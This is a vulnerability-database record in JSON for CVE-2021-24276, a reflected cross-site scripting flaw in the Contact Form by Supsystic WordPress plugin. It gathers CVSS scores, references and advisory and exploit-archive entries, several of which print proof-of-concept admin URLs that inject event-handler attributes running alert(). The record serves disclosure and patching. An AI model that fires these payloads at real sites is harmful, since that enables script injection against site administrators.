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{"id": "CVE-2021-24276", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24276", "description": "The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue", "published": "2021-05-05T19:15:00", "modified": "2021-10-18T12:06:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24276", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c", "http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html"], "cvelist": ["CVE-2021-24276"], "immutableFields": [], "lastseen": "2022-03-23T14:50:48", "viewCount": 49, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50344"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164308"]}, {"type": "wpexploit", "idList": ["WPEX-ID:1301123C-5E63-432A-AB90-3221CA532D9C"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:1301123C-5E63-432A-AB90-3221CA532D9C"]}, {"type": "zdt", "idList": ["1337DAY-ID-36821"]}], "rev": 4}, "score": {"value": 2.3, "vector": "NONE"}, "twitter": {"counter": 4, "modified": "2021-05-06T07:39:32", "tweets": [{"link": "https://twitter.com/hernanespinoza/status/1390323918666354688", "text": "CVEnew: CVE-2021-24276 The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue https://t.co/81ACATao02?amp=1"}, {"link": "https://twitter.com/hernanespinoza/status/1390323918666354688", "text": "CVEnew: CVE-2021-24276 The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue https://t.co/81ACATao02?amp=1"}, {"link": "https://twitter.com/CVEnew/status/1390317029765304322", "text": "CVE-2021-24276 The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue https://t.co/HyXL4o4WuH?amp=1"}, {"link": "https://twitter.com/CVEnew/status/1390317029765304322", "text": "CVE-2021-24276 The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue https://t.co/HyXL4o4WuH?amp=1"}]}, "backreferences": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50344"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164308"]}, {"type": "wpexploit", "idList": ["WPEX-ID:1301123C-5E63-432A-AB90-3221CA532D9C"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:1301123C-5E63-432A-AB90-3221CA532D9C"]}, {"type": "zdt", "idList": ["1337DAY-ID-36821"]}]}, "exploitation": null, "vulnersScore": 2.3}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-79"], "affectedSoftware": [{"cpeName": "supsystic:contact_form", "version": "1.7.15", "operator": "lt", "name": "supsystic contact form"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:supsystic:contact_form:1.7.15:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.7.15", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c", "name": "https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c", "refsource": "CONFIRM", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html", "name": "http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}

{"wpvulndb": [{"lastseen": "2021-05-11T19:30:57", "bulletinFamily": "software", "cvelist": ["CVE-2021-24276"], "description": "The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n### PoC\n\n/wp-admin/admin.php?page=contact-form-supsystic&amp;tab;=\"onmouseover=alert(1)// /wp-admin/admin.php?page=contact-form-supsystic&amp;tab;=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n", "modified": "2021-04-20T07:00:58", "id": "WPVDB-ID:1301123C-5E63-432A-AB90-3221CA532D9C", "href": "https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c", "published": "2021-04-19T00:00:00", "type": "wpvulndb", "title": "Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "patchstack": [{"lastseen": "2022-06-01T19:32:35", "description": "Reflected Cross-Site Scripting (XSS) vulnerability discovered by 0xB9 in WordPress Contact Form by Supsystic plugin (versions <= 1.7.14).\n\n## Solution\n\n\r\n Update the WordPress Contact Form by Supsystic plugin to the latest available version (at least 1.7.15).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-04-19T00:00:00", "type": "patchstack", "title": "WordPress Contact Form by Supsystic plugin <= 1.7.14 - Reflected Cross-Site Scripting (XSS) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24276"], "modified": "2021-04-19T00:00:00", "id": "PATCHSTACK:ABB1C1BCCB684B58C3264D18454A737F", "href": "https://patchstack.com/database/vulnerability/contact-form-by-supsystic/wordpress-contact-form-by-supsystic-plugin-1-7-14-reflected-cross-site-scripting-xss-vulnerability", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "zdt": [{"lastseen": "2021-12-04T15:50:13", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-09-28T00:00:00", "type": "zdt", "title": "WordPress Contact Form 1.7.14 Plugin - Reflected Cross-Site Scripting Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24276"], "modified": "2021-09-28T00:00:00", "id": "1337DAY-ID-36821", "href": "https://0day.today/exploit/description/36821", "sourceData": "# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n", "sourceHref": "https://0day.today/exploit/36821", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "packetstorm": [{"lastseen": "2021-09-28T15:37:05", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-09-28T00:00:00", "type": "packetstorm", "title": "WordPress Contact Form 1.7.14 Cross Site Scripting", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24276"], "modified": "2021-09-28T00:00:00", "id": "PACKETSTORM:164308", "href": "https://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html", "sourceData": "`# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS) \n# Date: 3/28/2021 \n# Author: 0xB9 \n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/ \n# Version: 1.7.14 \n# Tested on: Windows 10 \n# CVE: CVE-2021-24276 \n \n1. Description: \nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue \n \n2. Proof of Concept: \n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)// \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164308/wpcontactform1714-xss.txt", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-05-11T19:30:57", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-24276"], "description": "The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n", "modified": "2021-04-20T07:00:58", "published": "2021-04-19T00:00:00", "id": "WPEX-ID:1301123C-5E63-432A-AB90-3221CA532D9C", "href": "", "type": "wpexploit", "title": "Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)", "sourceData": "/wp-admin/admin.php?page=contact-form-supsystic&tab=\"onmouseover=alert(1)//\r\n\r\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "exploitdb": [{"lastseen": "2022-05-13T17:35:20", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-09-28T00:00:00", "type": "exploitdb", "title": "WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-24276", "CVE-2021-24276"], "modified": "2021-09-28T00:00:00", "id": "EDB-ID:50344", "href": "https://www.exploit-db.com/exploits/50344", "sourceData": "# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\r\n# Date: 3/28/2021\r\n# Author: 0xB9\r\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\r\n# Version: 1.7.14\r\n# Tested on: Windows 10\r\n# CVE: CVE-2021-24276\r\n\r\n1. Description:\r\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\r\n\r\n2. Proof of Concept:\r\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//", "sourceHref": "https://www.exploit-db.com/download/50344", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}